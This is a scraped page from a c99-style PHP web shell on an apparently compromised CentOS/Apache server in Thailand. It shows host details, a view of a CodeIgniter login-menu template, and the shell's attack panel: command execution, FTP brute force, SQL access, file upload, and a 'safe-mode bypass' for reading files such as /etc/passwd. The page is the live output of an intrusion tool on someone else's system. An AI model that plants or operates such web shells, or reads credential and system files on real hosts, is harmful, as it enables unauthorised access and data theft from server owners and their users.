!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/cvc/application/views/info/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_postlogin.php (12.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    $UsID  
$this->session->userdata('UsID');
    
$UsName $this->session->userdata('UsName');
    
$UsLogin $this->session->userdata('UsLogin');
    
$UsPsCode $this->session->userdata('UsPsCode');
    
$UsWgID $this->session->userdata('UsWgID');

    
$login_date $this->session->userdata('login_date');
    
//$SEMESTER = $this->session->userdata('tmCode');
?>
  <table id="menublog_1" class="menublog" cellspacing="0" cellpadding="0" summary="">
    <tr>
      <td class="menublogtitle">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="">
          <tr valign="middle">
            <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" alt=""></td>
            <td align="left" style="width: 130px;"><span>ระบบสารสนเทศ</span></td>
            <td align="right" style="width: 20px;"><img src="<?php echo base_url();?>images/spacer.gif" alt=""></td>
            <td align="right" style="width: 20px;"><img src="<?php echo base_url();?>images/spacer.gif" alt="" width="1" ></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td class="menublogbody">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="">
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="4" alt=""></td></tr>
            <!--<tr valign="middle">
                <td align="right" style="width: 10px;"><img src="<?php //echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/subsys_mini.gif" alt=""></td>
                <td align="right" style="width: 4px;"><img src="<?php //echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;"><?php //echo anchor("info/info/showSystem",'เมนูระบบงาน'); ?></td>
            </tr>-->
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
            <tr valign="middle">
                <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/config_mini.gif" alt=""></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;"><a HREF="javascript:history.go(0)">Refresh the page<!-- ตั้งค่าการใช้งาน --></a></td>
            </tr>
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
            <tr valign="middle">
                <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/signout_mini.gif" alt=""></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;"><?php echo anchor("logout",'ออกจากระบบ'); ?></td>
            </tr>
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
        </table>
      </td>
    </tr>
  </table>
<!-- สำหรับ พัฒนา โปรแกรม แจ้ง session -->
<!--   <table id="menublog_1" class="menublog" cellspacing="0" cellpadding="0" summary="">
    <tr>
      <td class="menublogtitle">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="">
          <tr valign="middle">
            <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" alt=""></td>
            <td align="left" style="width: 130px;"><span>แจ้งตัวแปร session</span></td>
            <td align="right" style="width: 20px;"><img src="<?php echo base_url();?>images/spacer.gif" alt=""></td>
            <td align="right" style="width: 20px;"><img src="<?php echo base_url();?>images/spacer.gif" alt="" width="1" ></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td class="menublogbody">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="">
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
            <tr valign="middle">
                <td align="right" style="width: 10px;">&nbsp;</td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/config_mini.gif" alt=""></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;">session วันที่ที่ <b>login</b> ใช้
                    <br>'acY','tmId', 'tmCode'
                </td>
            </tr>

            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
            <tr valign="middle">
                <td align="right" style="width: 10px;">&nbsp;</td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/config_mini.gif" alt=""></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;">session วันที่<b>จริง</b> ใช้
                    <br>'acY_R','tmId_R', 'tmCode_R'
                </td>
            </tr>


            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
        </table>
      </td>
    </tr>
  </table> -->
<!-- end  -->
<table id="menublog_2" class="menublog" cellspacing="0" cellpadding="0" summary="">
    <tr>
      <td class="menublogtitle">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="">
          <tr valign="middle">
            <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" alt=""></td>
            <td align="left" style="width: 130px;"><span>ข้อมูลผู้ใช้งาน</span></td>
            <td align="right" style="width: 20px;"><img src="<?php echo base_url();?>images/spacer.gif" alt=""></td>
            <td align="right" style="width: 20px;"><img src="<?php echo base_url();?>images/spacer.gif" alt="" width="1" ></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td class="menublogbody">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="">
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="4" alt=""></td></tr>
            <tr valign="middle">
                <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/userlogin_mini.gif" alt="ชื่อเข้าใช้ระบบ" style="cursor: help;"></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;"><span style="cursor: help;">
                  <?php echo $UsLogin;?>
                </span></td>
            </tr>

            <tr valign="middle">
                <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/userinfo_mini.gif" alt="ชื่อ-นามสกุล" style="cursor: help;"></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;"><span style="cursor: help;" title="ชื่อ-นามสกุล"><?php echo $UsName;?></span></td>
            </tr>

            <tr valign="middle">
                <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/deptinfo_mini.gif" alt="หน่วยงานที่สังกัด" style="cursor: help;"></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;"><span id="userdept" style="cursor: help;" title="หน่วยงานที่สังกัด"><?php echo $UsID;?></span></td>
            </tr>

            <tr valign="middle">
                <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/misndate_mini.gif" alt="วันปฏิบัติงาน" style="cursor: help;"></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;"><?php echo abbreDate(date('d-m-Y')); ?></td>
            </tr>
            <tr>
                <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;"><span id="userdept" style="cursor: help;" title=""><a href="<?php echo site_url().$this->config->item('ver_folder').'user/change_pwd';?>">[เปลี่ยนรหัสผ่าน]</a></span></td>
            </tr>

            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="2" alt=""></td></tr>
        </table>
      </td>
    </tr>
  </table>

<?php
    
echo form_open($this->config->item('ver_folder').'ver_controller/link_menu',array('id'=>'frmMn'));
    if(isset(
$mmn)){
        
$mm $mmn;

        
$GpName $this->session->userdata('GpName');
        
$StID $this->session->userdata('GpStID');
    
?>
<input type="hidden" name="StID" id="StID" value="<?php echo $StID;?>"/>
<table id="menublog_1" class="menublog" cellspacing="0" cellpadding="0" summary="">
    <tr>
      <td class="menublogtitle">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="">
          <tr valign="middle">
            <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" alt=""></td>
            <td align="left" style="width: 130px;"><span>เมนูการใช้งาน<?php //echo $GpName?></span></td>
            <td align="right" style="width: 20px;"><img src="<?php echo base_url();?>images/spacer.gif" alt=""></td>
            <td align="right" style="width: 20px;"><img src="<?php echo base_url();?>images/spacer.gif" alt="" width="1" ></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td class="menublogbody">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="">
            <tr><td colspan="4"><img src="<?php echo base_url();?>images/spacer.gif" width="1" height="4" alt=""></td></tr>
        <?php
            
foreach($mm->result() as $row)
            {
        
?>
            <tr valign="middle">
                <td align="right" style="width: 10px;"><img src="<?php echo base_url();?>images/spacer.gif" width="10" alt=""></td>
                <td align="right" style="width: 16px;" valign="top"><img src="<?php echo base_url();?>images/sysgrp_mini.gif" alt=""></td>
                <td align="right" style="width: 4px;"><img src="<?php echo base_url();?>images/spacer.gif" width="4" alt=""></td>
                <td align="left" style="width: 150px;" onclick="sendPost('frmMn',{'MnID':'<?php echo $row->MnID;?>'},'')" onmouseover="this.style.cursor='pointer';this.style.color = '#0066FF';" onmouseout="this.style.color = '#000000';"><?php echo $row->MnNameT;?></td>
            </tr>
        <?php
            

        
?>
        </table>
        <br>
      </td>
    </tr>
  </table>
<?php
    
}
    echo 
form_close();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--